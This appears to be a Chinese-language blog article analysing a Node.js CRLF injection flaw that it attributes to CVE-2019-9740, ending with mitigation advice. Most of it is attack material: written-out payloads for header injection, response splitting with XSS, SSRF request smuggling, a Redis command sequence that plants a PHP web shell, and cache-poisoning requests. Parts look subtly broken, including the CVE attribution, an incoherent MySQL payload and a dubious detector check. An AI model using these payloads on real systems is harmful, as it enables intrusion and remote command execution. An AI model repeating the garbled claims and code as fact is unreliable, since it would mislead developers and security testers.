Node.js <10 CRLF注入漏洞(CVE-2019-9740)深度解析:从Unicode到SSRF攻击链

📅 2026/7/8 20:24:27 👁️ 阅读次数 📝 编程学习
Node.js <10 CRLF注入漏洞(CVE-2019-9740)深度解析:从Unicode到SSRF攻击链

Node.js <10 CRLF注入漏洞(CVE-2019-9740)深度解析:从Unicode到SSRF攻击链

1. 漏洞背景与核心原理

CRLF(Carriage Return Line Feed)注入漏洞是Web安全领域一个经典但危害巨大的攻击向量。当Web应用未对用户输入中的回车换行符(\r\n)进行严格过滤时,攻击者可以通过注入这些控制字符篡改HTTP响应头,实现响应拆分(HTTP Response Splitting)。而CVE-2019-9740的特殊之处在于其利用Node.js对Unicode编码的异常处理机制,开辟了新的攻击面。

漏洞本质:Node.js <10版本在http模块处理HTTP状态行时,未能正确过滤高编号Unicode字符(如U+0100以上)中的低位字节。当这些字符被URL解码后,其低位字节会暴露原始的CRLF控制字符(0x0D0x0A),导致攻击者可以:

  1. 通过精心构造的Unicode序列注入任意HTTP头
  2. 截断原始响应并构造双重响应
  3. 在SSRF场景下实现协议走私(Protocol Smuggling)
// 漏洞触发示例:通过高编号Unicode编码隐藏CRLF const maliciousPath = '/\u010D\u010ASet-Cookie: hacked=1'; http.get(`http://victim.com${maliciousPath}`);

2. 漏洞利用技术拆解

2.1 Unicode编码绕过机制

传统CRLF注入通常直接使用%0D%0A,但现代WAF会拦截这类明显特征。CVE-2019-9740的巧妙之处在于利用高编号Unicode字符的低位字节逃逸检测:

Unicode字符编码值低位字节实际效果
U+010D0x010D0x0D等价于\r
U+010A0x010A0x0A等价于\n
U+01200x01200x20等价于空格

实战技巧:通过组合这些字符可以构造出完整的HTTP协议控制序列。例如:

  • \u010D\u010A\r\n
  • \u0120HTTP/1.1HTTP/1.1

2.2 攻击链构建

阶段一:基础响应头注入
GET /%E5%98%8A%E5%98%8DSet-Cookie:%20test=123 HTTP/1.1 Host: vulnerable-node.com

响应结果:

HTTP/1.1 200 OK Set-Cookie: test=123 # 注入成功 ...
阶段二:响应拆分实现XSS
payload = ( "/%E5%98%8A%E5%98%8DContent-Type: text/html%E5%98%8A%E5%98%8D" "%E5%98%8A%E5%98%8D<script>alert(1)</script>" )
阶段三:SSRF协议走私
GET /%20HTTP/1.1%E5%98%8A%E5%98%8DPOST%20/admin HTTP/1.1 Host: internal-api ...

3. 高级攻击场景:SSRF到Redis未授权访问

当目标服务器存在SSRF漏洞且内网开放Redis服务时,可组合利用CRLF注入实现Redis命令执行:

redis_payload = """ HTTP/1.1\r\n flushall\r\n config set dir /var/www/html\r\n config set dbfilename shell.php\r\n set x "<?php system($_GET['cmd']);?>"\r\n save\r\n """

转换步骤

  1. 将每个命令字符转换为0x0100 + ord(char)
  2. 使用urllib.parse.quote进行URL编码
  3. 通过SSRF发送到redis://127.0.0.1:6379

4. 漏洞复现环境搭建

使用Docker快速搭建Node.js 8.x漏洞环境:

FROM node:8-alpine RUN apk add --no-cache redis COPY server.js . EXPOSE 3000 CMD ["node", "server.js"]

server.js关键代码

const http = require('http'); http.createServer((req, res) => { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Vulnerable Node.js ' + process.version); }).listen(3000);

5. 防御方案与修复建议

5.1 临时缓解措施

// 对路径进行规范化处理 const safePath = req.url.replace(/[\u0100-\uFFFF]/g, match => encodeURIComponent(match) );

5.2 根本解决方案

措施实施要点
升级Node.js必须升级到10.x以上版本,官方已修复Unicode解析问题
输入验证使用正则过滤[\r\n]及等效Unicode序列
输出编码对响应头值进行HTML实体编码
安全中间件部署helmet等安全模块,设置严格的Content-Security-Policy

5.3 架构级防护

# Nginx前置代理配置示例 location / { proxy_set_header X-Real-IP $remote_addr; proxy_pass http://node-app; proxy_intercept_errors on; # 阻断包含CRLF的请求 if ($request_uri ~* "%0A|%0D") { return 403; } }

6. 漏洞挖掘方法论

6.1 检测流程

  1. 输入点发现

    • URL参数、Cookie、自定义Header
    • 302跳转Location头
    • JSONP回调函数名
  2. 模糊测试Payload

payloads = [ "%E5%98%8A%E5%98%8DTest:1", # Unicode CRLF "%0D%0ATest:1", # 传统CRLF "%250D%250ATest:1" # 双重编码 ]
  1. 结果验证
    • 检查响应头是否包含注入字段
    • 观察是否出现多响应包

6.2 自动化检测脚本

import requests from urllib.parse import quote def check_crlf(url): test_headers = {"X-Test": "1"} for payload in [quote("\r\nX-Test:1"), "\u010D\u010AX-Test:1"]: r = requests.get(f"{url}?inj={payload}", headers=test_headers) if "X-Test: 1, 1" in str(r.headers): return True return False

7. 延伸攻击面

7.1 缓存投毒攻击

通过污染CDN缓存实现持久化攻击:

GET /%E5%98%8A%E5%98%8DCache-Control: max-age=31536000 HTTP/1.1 Host: cdn.example.com

7.2 反向代理滥用

利用Nginx等代理的解析差异:

GET /%20HTTP/1.1%E5%98%8A%E5%98%8DHost:%20evil.com HTTP/1.1 Host: real.com

7.3 数据库协议攻击

针对内网MySQL/PostgreSQL的认证绕过:

mysql_payload = ( "\u010D\u010A\x03" # CRLF + 协议版本 "SELECT * FROM users" )